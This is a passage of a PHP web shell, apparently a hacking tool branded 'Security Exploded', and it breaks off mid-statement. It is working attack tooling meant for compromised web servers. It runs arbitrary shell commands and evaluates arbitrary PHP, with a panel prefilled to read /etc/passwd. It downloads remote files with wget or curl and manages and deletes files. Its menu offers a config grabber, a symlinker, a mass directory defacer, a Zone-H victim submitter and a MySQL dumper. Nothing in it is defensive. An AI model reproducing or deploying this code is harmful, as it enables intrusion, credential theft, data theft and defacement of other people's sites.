\$posix){\n \$name=@posix_getpwuid(@fileowner(\$folder));\n \$group=@posix_getgrgid(@filegroup(\$folder));\n \$owner = \$name['name'].\"<span class=\\\"gaya\\\"> : </span>\".\$group['name'];\n }\n else {\n \$owner = \$user;\n } \n \$buff .= \"<tr><td><a id=\\\"\".clearspace(\$file).\"_link\\\" href=\\\"?y=\$pwd&view=\$full\\\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> \$file</b></a>\n <form action=\\\"?y=\$pwd\\\" method=\\\"post\\\" id=\\\"\".clearspace(\$file).\"_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\">\n <input type=\\\"hidden\\\" name=\\\"oldname\\\" value=\\\"\".\$file.\"\\\" style=\\\"margin:0;padding:0;\\\" />\n <input class=\\\"inputz\\\" style=\\\"width:200px;\\\" type=\\\"text\\\" name=\\\"newname\\\" value=\\\"\".\$file.\"\\\" />\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Rename\\\" value=\\\"Rename\\\" />\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Cancel\\\" value=\\\"Cancel\\\" onclick=\\\"tukar('\".clearspace(\$file).\"_link','\".clearspace(\$file).\"_form');\\\" />\n </form></td><td>\".ukuran(\$full).\"</td><td style=\\\"text-align:center;\\\">\".\$owner.\"</td><td><center>\n <a href=\\\"javascript:tukar('\".clearspace(\$file).\"_link','\".clearspace(\$file).\"_form2');\\\">\".get_perms(\$full).\"</a>\n <form action=\\\"?y=\$pwd\\\" method=\\\"post\\\" id=\\\"\".clearspace(\$file).\"_form2\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\"> \n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\".\$file.\"\\\" style=\\\"margin:0;padding:0;\\\" /> \n<input class=\\\"inputz\\\" style=\\\"width:150px;\\\" type=\\\"text\\\" name=\\\"newvalue\\\" value=\\\"\".substr(sprintf('%o', fileperms(\$full)), -4).\"\\\" /> \n<input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Chmod\\\" value=\\\"Chmod\\\" /> \n<input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Cancel\\\" value=\\\"Cancel\\\" onclick=\\\"tukar('\".clearspace(\$file).\"_link','\".clearspace(\$file).\"_form2');\\\" /></form></center></td>\n <td style=\\\"text-align:center;\\\">\".date(\"d-M-Y H:i\",@filemtime(\$full)).\"</td>\n <td><a href=\\\"?y=\$pwd&edit=\$full\\\">Edit</a> | <a href=\\\"javascript:tukar('\".clearspace(\$file).\"_link','\".clearspace(\$file).\"_form');\\\">Rename</a> | <a href=\\\"?y=\$pwd&delete=\$full\\\">Delete</a> | <a href=\\\"?y=\$pwd&dl=\$full\\\">Download</a> (<a href=\\\"?y=\$pwd&dlgzip=\$full\\\">Gz</a>)</td></tr>\";\n }\n \$buff .= \"</table>\";\n return \$buff;\n}\n\nfunction ukuran(\$file){\n if(\$size = @filesize(\$file)){\n if(\$size <= 1024) return \$size;\n else{\n if(\$size <= 1024*1024) {\n \$size = @round(\$size / 1024,2);;\n return \"\$size kb\";\n }\n else {\n \$size = @round(\$size / 1024 / 1024,2);\n return \"\$size mb\"; \n }\n }\n }\n else return \"???\";\n}\n\nfunction exe(\$cmd){\n if(function_exists('system')) {\n @ob_start();\n @system(\$cmd);\n \$buff = @ob_get_contents();\n @ob_end_clean();\n return \$buff;\n }\n elseif(function_exists('exec')) {\n @exec(\$cmd,\$results);\n \$buff = \"\";\n foreach(\$results as \$result){\n \$buff .= \$result;\n }\n return \$buff;\n }\n elseif(function_exists('passthru')) {\n @ob_start();\n @passthru(\$cmd);\n \$buff = @ob_get_contents();\n @ob_end_clean();\n return \$buff;\n }\n elseif(function_exists('shell_exec')){\n \$buff = @shell_exec(\$cmd);\n return \$buff;\n }\n}\n\nfunction tulis(\$file,\$text){\n \$textz = gzinflate(base64_decode(\$text));\n if(\$filez = @fopen(\$file,\"w\"))\n {\n @fputs(\$filez,\$textz);\n @fclose(\$file);\n }\n}\n\nfunction ambil(\$link,\$file) { \n if(\$fp = @fopen(\$link,\"r\")){\n while(!feof(\$fp)) { \n \$cont.= @fread(\$fp,1024); \n } \n @fclose(\$fp); \n \$fp2 = @fopen(\$file,\"w\"); \n @fwrite(\$fp2,\$cont); \n @fclose(\$fp2); \n }\n}\n\nfunction which(\$pr){\n \$path = exe(\"which \$pr\");\n if(!empty(\$path)) { return trim(\$path); } else { return trim(\$pr); }\n}\n\nfunction download(\$cmd,\$url){\n \$namafile = basename(\$url);\n switch(\$cmd) {\n case 'wwget': exe(which('wget').\" \".\$url.\" -O \".\$namafile);break;\n case 'wlynx': exe(which('lynx').\" -source \".\$url.\" > \".\$namafile);break;\n case 'wfread' : ambil(\$wurl,\$namafile);break;\n case 'wfetch' : exe(which('fetch').\" -o \".\$namafile.\" -p \".\$url);break;\n case 'wlinks' : exe(which('links').\" -source \".\$url.\" > \".\$namafile);break;\n case 'wget' : exe(which('GET').\" \".\$url.\" > \".\$namafile);break;\n case 'wcurl' : exe(which('curl').\" \".\$url.\" -o \".\$namafile);break;\n default: break;\n }\n return \$namafile;\n}\n\nfunction get_perms(\$file)\n{\n if(\$mode=@fileperms(\$file)){\n \$perms='';\n \$perms .= (\$mode & 00400) ? 'r' : '-';\n \$perms .= (\$mode & 00200) ? 'w' : '-';\n \$perms .= (\$mode & 00100) ? 'x' : '-';\n \$perms .= (\$mode & 00040) ? 'r' : '-';\n \$perms .= (\$mode & 00020) ? 'w' : '-';\n \$perms .= (\$mode & 00010) ? 'x' : '-';\n \$perms .= (\$mode & 00004) ? 'r' : '-';\n \$perms .= (\$mode & 00002) ? 'w' : '-';\n \$perms .= (\$mode & 00001) ? 'x' : '-';\n return \$perms;\n }\n else return \"??????????\";\n}\n\nfunction clearspace(\$text){\n return str_replace(\" \",\"_\",\$text);\n}\n\n\n?>\n<html><head><link rel=\"SHORTCUT ICON\" href=\"http://oi58.tinypic.com/10r33mq.jpg\"><title><?=\$title ?> <?=\$versi ?></title>\n<script type=\"text/javascript\">\nfunction tukar(lama,baru){\n document.getElementById(lama).style.display = 'none';\n document.getElementById(baru).style.display = 'block';\n}\n</script><style type=\"text/css\">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>\n<style type=\"text/css\">\nbody { background-color:transparan;background:#000;background-image: url(\"<?=\$background; ?>\");background-position: center; background-attachment: fixed;background-repeat: no-repeat; } \na {text-decoration:none;\n}\na:hover{\nborder-bottom:1px solid #00ff00; \n}\n*{\n font-size:11px;\n font-family:Tahoma,Verdana,Arial;\n color:<?=\$color; ?>;\n}\n#menu{\n background-color:transparan;\n margin:8px 2px 4px 2px;\n}\n\n#menu a{\n padding:4px 18px;\n margin:0;\n background:#222222;\n text-decoration:none;\n letter-spacing:2px;\n -moz-border-radius: 5px; -moz-box-shadow-webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;\n}\n#menu a:hover{\n background:#191919;\n border-bottom:1px solid #333333;\n border-top:1px solid #333333;\n}\n\n.tabnet{\n margin:15px auto 0 auto;\n border: 1px solid #333333;\n color: #FFCC00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;} \n.msupiani{ font-family:Vivaldi;font-size:50px;color: #00FF00;}\n.tabnet{\n margin:15px auto 0 auto;\n border: 1px solid #333333; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.main {\n width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.gaya {\n color: \$color;\n}\n.inputz{\n background:#111111;\n border:0;\n padding:2px;\n border-bottom:1px solid #222222;\n border-top:1px solid #222222; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n} \n.inputzbut{\n background:#111111;\n color:<?=\$color; ?>;\n margin:0 4px;\n border:1px solid #444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n\n}\n.inputz:hover, .inputzbut:hover{\n border-bottom:1px solid #00ff00;\n border-top:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.output {\n margin:auto;\n border:1px solid <?=\$color; ?>;\n width:100%;\n height:400px;\n background:#000000;\n padding:0 2px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.cmdbox{\n width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.head_info{ \n padding: 0 4px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n} \n.exploded{\n font-size:30px;\n padding:0;\n color:#444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.exploded_tbl{\n text-align:center;\n margin:0 4px 0 0;\n padding:0 4px 0 0;\n border-right:1px solid #333333;\n}\n.phpinfo table{\n width:100%;\n padding:0 0 0 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.phpinfo td{\n background:#111111;\n color:#cccccc;\npadding:6px 8px;; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.phpinfo th, th{\n background:#191919;\n border-bottom:1px solid #333333;\nfont-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.phpinfo h2, .phpinfo h2 a{\n text-align:center;\n font-size:16px;\n padding:0;\n margin:30px 0 0 0;\n background:#222222;\n padding:4px 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.explore{\nwidth:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.explore a {\ntext-decoration:none;\n}\n.explore td{\nborder-bottom:1px solid #333333;\npadding:0 8px;\nline-height:24px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.explore th{\npadding:3px 8px;\nfont-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.explore th:hover , .phpinfo th:hover{\nborder-bottom:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.explore tr:hover{\nbackground:#111111; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.viewfile{\nbackground:#EDECEB;\ncolor:#000000;\nmargin:4px 2px;\npadding:8px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.sembunyi{\ndisplay:none;\npadding:0;margin:0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ;\n}\n.jaya{ margin:5px; text-align:right; <?=\$color; ?>;}\n.footer{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=\$color; ?>; -webkit-box-shadow:0px 0px 5px ; } \n.footer a{ font-size:14px; }\n.footer span{ font-size:14px;}\n</style></head>\n\n<body onLoad=\"document.getElementById('cmd').focus();\">\n<!-- logout start here -->\n<div id=\"menu\"><span style='float:right;'><br>\n<?=\"Time On Server : <b> \".date(\"d M Y H:i:s\",time()).\"</b>\"; ?> <br><br>         \n<a href=\"?<?=\"y=\".\$pwd; ?>&x=kill\" title='Remove Shell'>Remove</a>\n | \n<a href=\"?<?=\"y=\".\$pwd; ?>&x=logout\" title='Logout'>Logout</a>       <br><br>\n                          <a href=\"?<?=\"y=\".\$pwd; ?>&x=about\" title='About Author'>About</a>\n</span></div>\n<!-- logout end here -->\n<div class=\"main\">\n<!-- head info start here -->\n<div class=\"head_info\">\n<table><tr>\n<td><table class=\"inputz\"><tr><td><a href=\"\" target=\"blank\" onClick=\"location.reload();\"><span class=\"F0ku5\"><img src='<?=\$logo; ?>' title=\"Security Exploded\" width=\"150\" height=\"150\"></span></span></a></td></tr><tr><td>\n<a href=\"http://twitter.com/Port22_Exploded\" class=\"twitter-follow-button\" data-show-count=\"false\"> Follow @Port22_Exploded</a>\n<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'http';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></td></tr></table></td>\n<td><?=\$buff; ?></td>\n</tr></table></div>\n<!-- head info end here -->\n<!-- menu start --><br>\n<center><div id=\"menu\">\n<a href=\"?\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height=\"18\" width=\"34\" title='Home '></a>\n<a href=\"?<?=\"y=\".\$pwd; ?>\" title='File Explorer'>Files</a>\n<a href=\"?<?=\"y=\".\$pwd; ?>&x=upload\" title='Upload File'>Uploader</a>\n<a href=\"?<?=\"y=\".\$pwd; ?>&x=sql\" title='Connect To Database'>MySQL Manager</a><br><br>\n<a href=\"?<?=\"y=\".\$pwd; ?>&x=jumping\" title='Jumping'>Jumper</a>\n<a href=\"?<?=\"y=\".\$pwd; ?>&x=symlink\" title='Symlink'>Multi Symlinker</a>\n<a href=\"?<?=\"y=\".\$pwd; ?>&x=grabc\" title='Config Grabber'>Config Grabber</a><br><br>\n<a href=\"?<?=\"y=\".\$pwd; ?>&x=mass\" title='Deface To All Folder'>Mass Directory Defacer</a>\n<a href=\"?<?=\"y=\".\$pwd; ?>&x=zone\" title='Submit Victim To Zone-H'>Zone-H Submiter</a>\n</div></center><br>\n<!-- menu end -->\n<?php\n@ini_set('display_errors', 0);\n@ini_set('output_buffering',0);\n\nif(isset(\$_GET['x']) && (\$_GET['x'] == 'kill')) {\n \n echo \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>Shell Killer</font></b></center></td></tr></table>\n\";\n\necho '<center><br><font style=\"color:<?=\$color; ?>\">Do You Really Want To Delete This Shell ?</b></center><br>';\n?>\n<center>\n<div id=\"menu\">\n<a href=\"?<?=\"y=\".\$pwd;?>&x=killit\" title='Remove Shell' >Yes, I Want</font></a> \n<a href=\"<?=\$_SERVER['PHP_SELF']; ?>\">Cancel</a></b></center><br><br>\n</div>\n<?php\n}\nif(isset(\$_GET['x']) && (\$_GET['x'] == 'killit')) {\n\$file = \$_SERVER['PHP_SELF'];\nif(@unlink(preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__)))\ndie('<br><br><b class=\"tmp\"><font color=\"#ff0000\" size=\"2pt\"><center>Shell Has Been Killed... Take Care And Stay Safe</center></font></b><meta http-equiv=\"refresh\" content=\"3; url=?\".\$pwd.\"\" />');\nelse\necho '<font color=\"#fff600\" size=\"2pt\">Unlink Error !</font>';\n\n}\n/////////////////////////////\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'php'))\n{\n@ini_set('output_buffering',0);\necho \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>Eval</font></b></center></td></tr></table>\n\";\n ?>\n\n<form action=\"?y=<?=\$pwd; ?>&x=php\" method=\"post\">\n<table class=\"tabnet\" style=\"width:800px;height:300px\">\n<tr><td>\n<textarea class=\"output\" name=\"cmd\" id=\"cmd\">\n<?php\nif(isset(\$_POST['submitcmd'])) {\n echo eval(magicboom(\$_POST['cmd']));\n}\nelse echo \"echo file_get_contents('/etc/passwd');\";\n?>\n</textarea>\n<tr><td><input style=\"width:800px;\" class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" /></td></tr></form>\n</table>\n</form>\n\n<?php }\n\n/////////////////////////////\n///////////////////////////////////////////////////////////////////////////////\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'sql')){\n echo \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>MySQL Manager</font></b></center></td></tr></table>\n\";\nfunction view_size(\$size) {\n if (!is_numeric(\$size)) { return FALSE; }\n else {\nif (\$size >= 1073741824) {\$size = round(\$size/1073741824*100)/100 .\" GB\";}\nelseif (\$size >= 1048576) {\$size = round(\$size/1048576*100)/100 .\" MB\";}\nelseif (\$size >= 1024) {\$size = round(\$size/1024*100)/100 .\" KB\";}\nelse {\$size = \$size . \" B\";}\nreturn \$size;\n }\n}\nfunction mysql_dump(\$set) {\n \$sock = \$set[\"sock\"];\n \$db = \$set[\"db\"];\n \$print = \$set[\"print\"];\n \$nl2br = \$set[\"nl2br\"];\n \$file = \$set[\"file\"];\n \$add_drop = \$set[\"add_drop\"];\n \$tabs = \$set[\"tabs\"];\n \$onlytabs = \$set[\"onlytabs\"];\n \$ret = array();\n \$ret[\"err\"] = array();\n if (!is_resource(\$sock)) {echo(\"Error: \\\$sock is not valid resource.\");}\n if (empty(\$db)) {\$db = \"db\";}\n if (empty(\$print)) {\$print = 0;}\n if (empty(\$nl2br)) {\$nl2br = 0;}\n if (empty(\$add_drop)) {\$add_drop = TRUE;}\n if (empty(\$file)) {\n\$file = \$tmp_dir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".\$db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\";\n }\n if (!is_array(\$tabs)) {\$tabs = array();}\n if (empty(\$add_drop)) {\$add_drop = TRUE;}\n if (sizeof(\$tabs) == 0) {\n\$res = mysql_query(\"SHOW TABLES FROM \".\$db, \$sock);\nif (mysql_num_rows(\$res) > 0) {while (\$row = mysql_fetch_row(\$res)) {\$tabs[] = \$row[0];}}\n }\n \$out = \"\n # Dumped By \".\$xName.\"\n # MySQL version: (\".mysql_get_server_info().\") running on \".getenv(\"SERVER_ADDR\").\" (\".getenv(\"SERVER_NAME\").\")\".\"\n # Date: \".date(\"d.m.Y H:i:s\").\"\n # DB: \\\"\".\$db.\"\\\"\n #---------------------------------------------------------\";\n \$c = count(\$onlytabs);\n foreach(\$tabs as \$tab) {\nif ((in_array(\$tab,\$onlytabs)) or (!\$c)) {\n if (\$add_drop) {\$out .= \"DROP TABLE IF EXISTS `\".\$tab.\"`;\\n\";}\n \$res = mysql_query(\"SHOW CREATE TABLE `\".\$tab.\"`\", \$sock);\n if (!\$res) {\$ret[\"err\"][] = mysql_smarterror();}\n else {\n\$row = mysql_fetch_row(\$res);\n\$out .= \$row[\"1\"].\";\\n\\n\";\n\$res = mysql_query(\"SELECT * FROM `\$tab`\", \$sock);\nif (mysql_num_rows(\$res) > 0) {\n while (\$row = mysql_fetch_assoc(\$res)) {\n\$keys = implode(\"`, `\", array_keys(\$row));\n\$values = array_values(\$row);\nforeach(\$values as \$k=>\$v) {\$values[\$k] = addslashes(\$v);}\n\$values = implode(\"', '\", \$values);\n\$sql = \"INSERT INTO `\$tab`(`\".\$keys.\"`) VALUES ('\".\$values.\"');\\n\";\n\$out .= \$sql;\n }\n}\n }\n}\n }\n \$out .= \"#---------------------------------------------------------------------------------\\n\\n\";\n if (\$file) {\n\$fp = fopen(\$file, \"w\");\nif (!\$fp) {\$ret[\"err\"][] = 2;}\nelse {\n fwrite (\$fp, \$out);\n fclose (\$fp);\n}\n }\n if (\$print) {if (\$nl2br) {echo nl2br(\$out);} else {echo \$out;}}\n return \$out;\n}\nfunction mysql_buildwhere(\$array,\$sep=\" and\",\$functs=array()) {\n if (!is_array(\$array)) {\$array = array();}\n \$result = \"\";\n foreach(\$array as \$k=>\$v) {\n\$value = \"\";\nif (!empty(\$functs[\$k])) {\$value .= \$functs[\$k].\"(\";}\n\$value .= \"'\".addslashes(\$v).\"'\";\nif (!empty(\$functs[\$k])) {\$value .= \")\";}\n\$result .= \"`\".\$k.\"` = \".\$value.\$sep;\n }\n \$result = substr(\$result,0,strlen(\$result)-strlen(\$sep));\n return \$result;\n}\nfunction mysql_fetch_all(\$query,\$sock) {\n if (\$sock) {\$result = mysql_query(\$query,\$sock);}\n else {\$result = mysql_query(\$query);}\n \$array = array();\n while (\$row = mysql_fetch_array(\$result)) {\$array[] = \$row;}\n mysql_free_result(\$result);\n return \$array;\n}\nfunction mysql_smarterror(\$sock) {\n if (\$sock) { \$error = mysql_error(\$sock); }\n else { \$error = mysql_error(); }\n \$error = htmlspecialchars(\$error);\n return \$error;\n}\nfunction mysql_query_form() {\n global \$submit,\$sql_x,\$sql_query,\$sql_query_result,\$sql_confirm,\$sql_query_error,\$tbl_struct;\n if ((\$submit) and (!\$sql_query_result) and (\$sql_confirm)) {if (!\$sql_query_error) {\$sql_query_error = \"Query was empty\";} echo \"<b>Error:</b> <br>\".\$sql_query_error.\"<br>\";}\n if (\$sql_query_result or (!\$sql_confirm)) {\$sql_x = \$sql_goto;}\n if ((!\$submit) or (\$sql_x)) {\necho \"<table><tr><td><form name=\\\"fx29sh_sqlquery\\\" method=POST><b>\"; if ((\$sql_query) and (!\$submit)) {echo \"Do you really want to\";} else {echo \"SQL-Query\";} echo \":</b><br><br><textarea name=sql_query cols=100 rows=10>\".htmlspecialchars(\$sql_query).\"</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\\\"\".htmlspecialchars(\$sql_tbl).\"\\\"><input type=hidden name=submit value=\\\"1\\\"><input type=hidden name=\\\"sql_goto\\\" value=\\\"\".htmlspecialchars(\$sql_goto).\"\\\"><input type=submit name=sql_confirm value=\\\"Yes\\\"> <input type=submit value=\\\"No\\\"></form></td>\";\nif (\$tbl_struct) {\n echo \"<td valign=\\\"top\\\"><b>Fields:</b><br>\";\n foreach (\$tbl_struct as \$field) {\$name = \$field[\"Field\"]; echo \"+ <a href=\\\"#\\\" onclick=\\\"document.fx29sh_sqlquery.sql_query.value+='`\".\$name.\"`';\\\"><b>\".\$name.\"</b></a><br>\";}\n echo \"</td></tr></table>\";\n}\n }\n if (\$sql_query_result or (!\$sql_confirm)) {\$sql_query = \$sql_last_query;}\n}\nfunction mysql_create_db(\$db,\$sock=\"\") {\n \$sql = \"CREATE DATABASE `\".addslashes(\$db).\"`;\";\n if (\$sock) {return mysql_query(\$sql,\$sock);}\n else {return mysql_query(\$sql);}\n}\nfunction mysql_query_parse(\$query) {\n \$query = trim(\$query);\n \$arr = explode (\" \",\$query);\n \$types = array(\n\"SELECT\"=>array(3,1),\n\"SHOW\"=>array(2,1),\n\"DELETE\"=>array(1),\n\"DROP\"=>array(1)\n );\n \$result = array();\n \$op = strtoupper(\$arr[0]);\n if (is_array(\$types[\$op])) {\n\$result[\"propertions\"] = \$types[\$op];\n\$result[\"query\"] = \$query;\nif (\$types[\$op] == 2) {\n foreach(\$arr as \$k=>\$v) {\nif (strtoupper(\$v) == \"LIMIT\") {\n \$result[\"limit\"] = \$arr[\$k+1];\n \$result[\"limit\"] = explode(\",\",\$result[\"limit\"]);\n if (count(\$result[\"limit\"]) == 1) {\$result[\"limit\"] = array(0,\$result[\"limit\"][0]);}\n unset(\$arr[\$k],\$arr[\$k+1]);\n}\n }\n}\n }\n else { return FALSE; }\n}\nfunction disp_error(\$msg) { echo \"<div class=errmsg>\$msg</div>\\n\"; }\nfunction html_style() {\n\$style = ' <style type=\"text/css\"> a { text-decoration:none; } a:hover { color: #00ff00; border-bottom:1px solid #00ff00; } input[type=\"text\"], input[type=\"password\"], select{ background:#111111; border:0; padding:2px; border:1px solid #444444; } input[type=\"submit\"]{ background:#111111; color:#ffffff; margin:0 4px; border:1px solid #444444;} input[type=\"text\"]:hover, input[type=\"submit\"]:hover, input[type=\"password\"]:hover, select:hover{ border-bottom:1px solid #00ff00;border-top:1px solid #00ff00;} .tab { width:100%; } th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .tub { width:100%; } .tub th{ border-bottom:1px solid #00ff00; padding:3px;} .tub tr:hover{ background:#006400; } .tub td{ border-bottom:1px solid #333333; padding-left:3px; } #maininfo { padding:5px; margin-top:10px; margin-left:2px; margin-right:2px; background:#191919; } #maininfo a{ color:#00ff00; } textarea { background:#000000; border:1px solid #444444;} textarea:hover { border:1px solid #00ff00;} </style><center>';\nreturn \$style;\n}\n\$auto_surl = TRUE;\nforeach (\$_REQUEST as \$k => \$v) {\n if (!isset(\$\$k)) { \$\$k = \$v; }\n}\nif (\$auto_surl) {\n \$include = \"&\";\n foreach (explode(\"&\",getenv(\"QUERY_STRING\")) as \$v) {\n\$v= explode(\"=\",\$v);\n\$name= urldecode(\$v[0]);\n\$value= @urldecode(\$v[1]);\n\$needles = array(\"http://\",\"https://\",\"ssl://\",\"ftp://\",\"\\\\\\\\\");\nforeach (\$needles as \$needle) {\n if (strpos(\$value,\$needle) === 0) {\n\$includestr .= urlencode(\$name).\"=\".urlencode(\$value).\"&\";\n } } } }\nif (empty(\$surl)) { \$surl = htmlspecialchars(\"?\".@\$includestr); }\nif 